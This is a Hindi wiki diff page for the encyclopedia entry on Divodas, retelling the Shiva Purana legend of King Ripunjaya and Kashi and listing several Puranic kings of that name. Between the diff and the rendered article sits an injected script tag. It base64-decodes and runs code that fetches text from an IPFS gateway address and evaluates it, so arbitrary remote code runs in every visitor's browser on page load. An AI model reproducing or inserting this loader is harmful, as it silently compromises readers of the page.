"दिवोदास" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
(नया पृष्ठ: {{menu}}<br /> श्रेणी:कोश श्रेणी:पौराणिक इतिहास ==दिवोदास / Divodas== स्वायंभ...)
 
पंक्ति ३: पंक्ति ३:
 
[[श्रेणी:पौराणिक इतिहास]]
 
[[श्रेणी:पौराणिक इतिहास]]
 
==दिवोदास / Divodas==
 
==दिवोदास / Divodas==
स्वायंभुव मनु के कुल में रिपुंजय नामक राजा का जन्म हुआ।  उसने राज्य छोड़कर तप करना प्रारंभ कर दिया।  राजा के न रहने से देश में काल और दु:ख फैल गया।  ब्रह्मा ने उसे तपस्या छोड़कर राज्य संभालने को कहा और बताया कि उसका विवाह वासुकि की कन्या अनंगमोहिनी से होगा।  रिपुंजय ने तप छोड़ने के लिए यह शर्त रखी कि देवता आकाश में और नागादि पाताल में रहेंगे, अर्थात् वे सब पृथ्वी को छोड़ देंगे।  ब्रह्मा ने शर्त मान ली। अग्नि, सूर्य, यंद्र इत्यादि सब पृथ्वी से अंतर्धान हो गये तो रिपुंजय ने प्रजा के सुख के लिए उन सबका रूप धारण किया।  यह देखकर देवता बहुत लज्जित हुए।  रिपुंजय अर्थात् दिवोदास अपनी योजना में सफल रहा।  देवता चाहते कि उसे कोई पाप लग जाय।  शिव आदि पुन: काशीवास के लिए आतुर थे, अत: दिवोदास को पथभ्रष्ट करने के लिए शिव ने क्रमश: योगिनियों, सूर्य, ब्रह्मा, गणों, गणपति आदि को भूस्थित काशी भेजा।  गणपति का आवास एक मंदिर में था।  उससे रानी लीलावती तथा राजा दिवोदास सहित समस्त जनता प्रभावित थीं  गणेश ने ज्योतिषाचार्य का रूप धारण किया थां  उसने राजा को बताया कि अठारह दिन बाद एक ब्राह्मण राजा के पास पहुंचकर सच्चा उपदेश करेगां  दिवोदास अत्यंत प्रसन्न हुआ।  शिवप्रेषित सभी लोग भेस बदलकर काम कर रहे थे।  उनमें से किसी के भी न लौटने पर शिव बहुत चिंतित हुए तथा उन्होंने विष्णु को भेजा। विष्णु ने ब्राह्मण का वेश धारण करके अपना नाम पुण्यकीर्त, गरूड़ का नाम विनयकीर्त तथा लक्ष्मी का नाम गोमोक्ष प्रसिद्ध किया।  वे स्वयं गुरू रूप में तथा उन दोनों को चेलों के रूप में लेकर काशी पहुंचे।  राजा को समाचार मिला तो गणपति की बात को स्मरण करके उसने पुण्यकीर्त का स्वागत करके उपदेश सुना।  पुण्यकीर्त ने हिंदू धर्म का खंडन करके बौद्ध धर्म का मंडन किया।  प्रजासहित राजा बौद्धधर्म का पालन करके अपने धर्म से च्तुत हो गया।  पुण्यकीर्त ने राजा दिवोदास से कहा कि सात दिन उपरांत उसे शिवलोक चले जाना चाहिए।  उससे पूर्व शिवलिंग की स्थापना भी आवश्यक है। श्रद्धालु राजा ने उसके कथनानुसार शिवंलिंग की स्थापना की। गरूड़ विष्णु के संदेशस्वरूप समस्त घटना का विस्तृत वर्णन करने शिव के सम्मुख गये।  तदुपरांत दिवोदास ने शिवलोक प्राप्त किया तथा देवतागण काशी में अंश रूप से रहने के पुन: अधिकारी बने।  काशीवासी ब्राह्मणों ने शिव से वरदान मांगा कि वे कभी काशी का परित्याग नहीं करेंगे। वहां अनेक शिवालयों का निर्माण किया गया।  
+
[[स्वायंभुव मनु]] के कुल में रिपुंजय नामक राजा का जन्म हुआ।  उसने राज्य छोड़कर तप करना प्रारंभ कर दिया।  राजा के न रहने से देश में काल और दु:ख फैल गया।  [[ब्रह्मा]] ने उसे तपस्या छोड़कर राज्य संभालने को कहा और बताया कि उसका विवाह वासुकि की कन्या अनंगमोहिनी से होगा।  रिपुंजय ने तप छोड़ने के लिए यह शर्त रखी कि देवता आकाश में और नागादि पाताल में रहेंगे, अर्थात् वे सब पृथ्वी को छोड़ देंगे।  ब्रह्मा ने शर्त मान ली। [[अग्नि]], [[सूर्य]], [[इंद्र]] इत्यादि सब पृथ्वी से अंतर्धान हो गये तो रिपुंजय ने प्रजा के सुख के लिए उन सबका रूप धारण किया।  यह देखकर देवता बहुत लज्जित हुए।   
शि0 पु0, पूर्वार्द्ध 6 । 5-21 ।-
+
 
भारतीय संस्कृति कोश
+
रिपुंजय अर्थात् दिवोदास अपनी योजना में सफल रहा।  देवता चाहते कि उसे कोई पाप लग जाय।  [[शिव]] आदि पुन: काशीवास के लिए आतुर थे, अत: दिवोदास को पथभ्रष्ट करने के लिए शिव ने क्रमश: योगिनियों, सूर्य, ब्रह्मा, गणों, गणपति आदि को भूस्थित [[काशी]] भेजा।  गणपति का आवास एक मंदिर में था।  उससे रानी लीलावती तथा राजा दिवोदास सहित समस्त जनता प्रभावित थीं  [[गणेश]] ने ज्योतिषाचार्य का रूप धारण किया थां  उसने राजा को बताया कि अठारह दिन बाद एक ब्राह्मण राजा के पास पहुंचकर सच्चा उपदेश करेगां  दिवोदास अत्यंत प्रसन्न हुआ।  शिवप्रेषित सभी लोग भेस बदलकर काम कर रहे थे।  उनमें से किसी के भी न लौटने पर शिव बहुत चिंतित हुए तथा उन्होंने [[विष्णु]] को भेजा। विष्णु ने ब्राह्मण का वेश धारण करके अपना नाम पुण्यकीर्त, गरूड़ का नाम विनयकीर्त तथा [[लक्ष्मी]] का नाम गोमोक्ष प्रसिद्ध किया।  वे स्वयं गुरू रूप में तथा उन दोनों को चेलों के रूप में लेकर काशी पहुंचे।   
दिवोदास— (पेज नम्बर-423 पर देखें)
+
 
 +
राजा को समाचार मिला तो गणपति की बात को स्मरण करके उसने पुण्यकीर्त का स्वागत करके उपदेश सुना।  पुण्यकीर्त ने हिंदू धर्म का खंडन करके बौद्ध धर्म का मंडन किया।  प्रजा सहित राजा बौद्धधर्म का पालन करके अपने धर्म से च्युत हो गया।  पुण्यकीर्त ने राजा दिवोदास से कहा कि सात दिन उपरांत उसे शिवलोक चले जाना चाहिए।  उससे पूर्व शिवलिंग की स्थापना भी आवश्यक है। श्रद्धालु राजा ने उसके कथनानुसार शिवंलिंग की स्थापना की। गरूड़ विष्णु के संदेशस्वरूप समस्त घटना का विस्तृत वर्णन करने शिव के सम्मुख गये।  तदुपरांत दिवोदास ने शिवलोक प्राप्त किया तथा देवतागण काशी में अंश रूप से रहने के पुन: अधिकारी बने।  काशीवासी ब्राह्मणों ने शिव से वरदान मांगा कि वे कभी काशी का परित्याग नहीं करेंगे। वहां अनेक शिवालयों का निर्माण किया गया।  
 +
[[शिव पुराण]], पूर्वार्द्ध 6।5-21 ।-
 +
----
 
इस नाम के तीन राजाओं का वर्णन पुराणों में मिलता है-
 
इस नाम के तीन राजाओं का वर्णन पुराणों में मिलता है-
1. वाराणसी का चंद्रवंशी राजा जो भीमरथ का पुत्र था।  दक्षिण के हैहय राजाओं के आक्रमण के कारण इसे अपनी राजधानी बाराणसी छोड़कर गंगा-गोमती संगम की ओर भागना पड़ा था।  
+
 
 +
1. वाराणसी का चंद्रवंशी राजा जो भीमरथ का पुत्र था।  दक्षिण के हैहय राजाओं के आक्रमण के कारण इसे अपनी राजधानी बाराणसी छोड़कर गंगा-गोमती संगम की ओर भागना पड़ा था।
 +
 
2. वाराणसी के दिवोदास के वंश में ही चार पुश्तों के बाद इसी नाम का एक राजा हुआ। उसे भी हैहयों राजाओं से पराजित होना पड़ा था।  परंतु उसके पुत्र प्रवर्तन ने शीघ्र ही हैहयों को पराजित कर दिया।
 
2. वाराणसी के दिवोदास के वंश में ही चार पुश्तों के बाद इसी नाम का एक राजा हुआ। उसे भी हैहयों राजाओं से पराजित होना पड़ा था।  परंतु उसके पुत्र प्रवर्तन ने शीघ्र ही हैहयों को पराजित कर दिया।
 +
 
3. उत्तरी पांचालों की एक शाखा का राजा जो महान योद्धा था।  उसने पणियों के सहित अनेक राजाओं को पराजित किया।  वह परम विद्वान और वैदिक मंत्रों का रचयिता था।  वैदिक साहित्य में उसका उल्लेख मिलता है।
 
3. उत्तरी पांचालों की एक शाखा का राजा जो महान योद्धा था।  उसने पणियों के सहित अनेक राजाओं को पराजित किया।  वह परम विद्वान और वैदिक मंत्रों का रचयिता था।  वैदिक साहित्य में उसका उल्लेख मिलता है।
 
इन तीनों के अतिरिक्त एक दिवोदास वर्धस्व का पुत्र था जो अपनी बहन अहिल्या के साथ मेनका के गर्भ से उत्पन्न हुआ था।  यही अहिल्या गौतम ऋषि को ब्याही थी। भृगु कुल का दिवोदास नाम का ऋषि भी था जो क्षत्रिय से ब्राह्मण बना।
 
इन तीनों के अतिरिक्त एक दिवोदास वर्धस्व का पुत्र था जो अपनी बहन अहिल्या के साथ मेनका के गर्भ से उत्पन्न हुआ था।  यही अहिल्या गौतम ऋषि को ब्याही थी। भृगु कुल का दिवोदास नाम का ऋषि भी था जो क्षत्रिय से ब्राह्मण बना।

०७:४५, १९ अगस्त २००९ का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

दिवोदास / Divodas

स्वायंभुव मनु के कुल में रिपुंजय नामक राजा का जन्म हुआ। उसने राज्य छोड़कर तप करना प्रारंभ कर दिया। राजा के न रहने से देश में काल और दु:ख फैल गया। ब्रह्मा ने उसे तपस्या छोड़कर राज्य संभालने को कहा और बताया कि उसका विवाह वासुकि की कन्या अनंगमोहिनी से होगा। रिपुंजय ने तप छोड़ने के लिए यह शर्त रखी कि देवता आकाश में और नागादि पाताल में रहेंगे, अर्थात् वे सब पृथ्वी को छोड़ देंगे। ब्रह्मा ने शर्त मान ली। अग्नि, सूर्य, इंद्र इत्यादि सब पृथ्वी से अंतर्धान हो गये तो रिपुंजय ने प्रजा के सुख के लिए उन सबका रूप धारण किया। यह देखकर देवता बहुत लज्जित हुए।

रिपुंजय अर्थात् दिवोदास अपनी योजना में सफल रहा। देवता चाहते कि उसे कोई पाप लग जाय। शिव आदि पुन: काशीवास के लिए आतुर थे, अत: दिवोदास को पथभ्रष्ट करने के लिए शिव ने क्रमश: योगिनियों, सूर्य, ब्रह्मा, गणों, गणपति आदि को भूस्थित काशी भेजा। गणपति का आवास एक मंदिर में था। उससे रानी लीलावती तथा राजा दिवोदास सहित समस्त जनता प्रभावित थीं गणेश ने ज्योतिषाचार्य का रूप धारण किया थां उसने राजा को बताया कि अठारह दिन बाद एक ब्राह्मण राजा के पास पहुंचकर सच्चा उपदेश करेगां दिवोदास अत्यंत प्रसन्न हुआ। शिवप्रेषित सभी लोग भेस बदलकर काम कर रहे थे। उनमें से किसी के भी न लौटने पर शिव बहुत चिंतित हुए तथा उन्होंने विष्णु को भेजा। विष्णु ने ब्राह्मण का वेश धारण करके अपना नाम पुण्यकीर्त, गरूड़ का नाम विनयकीर्त तथा लक्ष्मी का नाम गोमोक्ष प्रसिद्ध किया। वे स्वयं गुरू रूप में तथा उन दोनों को चेलों के रूप में लेकर काशी पहुंचे।

राजा को समाचार मिला तो गणपति की बात को स्मरण करके उसने पुण्यकीर्त का स्वागत करके उपदेश सुना। पुण्यकीर्त ने हिंदू धर्म का खंडन करके बौद्ध धर्म का मंडन किया। प्रजा सहित राजा बौद्धधर्म का पालन करके अपने धर्म से च्युत हो गया। पुण्यकीर्त ने राजा दिवोदास से कहा कि सात दिन उपरांत उसे शिवलोक चले जाना चाहिए। उससे पूर्व शिवलिंग की स्थापना भी आवश्यक है। श्रद्धालु राजा ने उसके कथनानुसार शिवंलिंग की स्थापना की। गरूड़ विष्णु के संदेशस्वरूप समस्त घटना का विस्तृत वर्णन करने शिव के सम्मुख गये। तदुपरांत दिवोदास ने शिवलोक प्राप्त किया तथा देवतागण काशी में अंश रूप से रहने के पुन: अधिकारी बने। काशीवासी ब्राह्मणों ने शिव से वरदान मांगा कि वे कभी काशी का परित्याग नहीं करेंगे। वहां अनेक शिवालयों का निर्माण किया गया। शिव पुराण, पूर्वार्द्ध 6।5-21 ।-


इस नाम के तीन राजाओं का वर्णन पुराणों में मिलता है-

1. वाराणसी का चंद्रवंशी राजा जो भीमरथ का पुत्र था। दक्षिण के हैहय राजाओं के आक्रमण के कारण इसे अपनी राजधानी बाराणसी छोड़कर गंगा-गोमती संगम की ओर भागना पड़ा था।

2. वाराणसी के दिवोदास के वंश में ही चार पुश्तों के बाद इसी नाम का एक राजा हुआ। उसे भी हैहयों राजाओं से पराजित होना पड़ा था। परंतु उसके पुत्र प्रवर्तन ने शीघ्र ही हैहयों को पराजित कर दिया।

3. उत्तरी पांचालों की एक शाखा का राजा जो महान योद्धा था। उसने पणियों के सहित अनेक राजाओं को पराजित किया। वह परम विद्वान और वैदिक मंत्रों का रचयिता था। वैदिक साहित्य में उसका उल्लेख मिलता है। इन तीनों के अतिरिक्त एक दिवोदास वर्धस्व का पुत्र था जो अपनी बहन अहिल्या के साथ मेनका के गर्भ से उत्पन्न हुआ था। यही अहिल्या गौतम ऋषि को ब्याही थी। भृगु कुल का दिवोदास नाम का ऋषि भी था जो क्षत्रिय से ब्राह्मण बना।